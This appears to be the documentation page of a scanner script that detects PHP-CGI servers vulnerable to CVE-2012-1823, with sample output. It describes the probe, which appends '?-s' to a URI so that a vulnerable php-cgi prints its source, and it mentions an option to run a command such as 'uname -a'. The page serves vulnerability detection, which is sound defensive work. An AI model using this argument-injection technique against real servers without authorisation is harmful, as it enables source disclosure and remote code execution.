Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This critical vulnerability allows attackers to retrieve source code and execute code remotely.
The script works by appending “?-s” to the uri to make vulnerable php-cgi handlers return colour syntax highlighted source. We use the pattern “<span style=.*><?” to detect vulnerable installations.
URI. Default: /index.php
CMD. Default: uname -a

| VULNERABLE:
| PHP-CGI Remote code execution and source code disclosure
| State: VULNERABLE (Exploitable)
| IDs: CVE:2012-1823
| Description:
| According to PHP's website, "PHP is a widely-used general-purpose
| scripting language that is especially suited for Web development and
| can be embedded into HTML." When PHP is used in a CGI-based setup
| (such as Apache's mod_cgid), the php-cgi receives a processed query
| string parameter as command line arguments which allows command-line
| switches, such as -s, -d or -c to be passed to the php-cgi binary,
| which can be exploited to disclose source code and obtain arbitrary
| code execution.
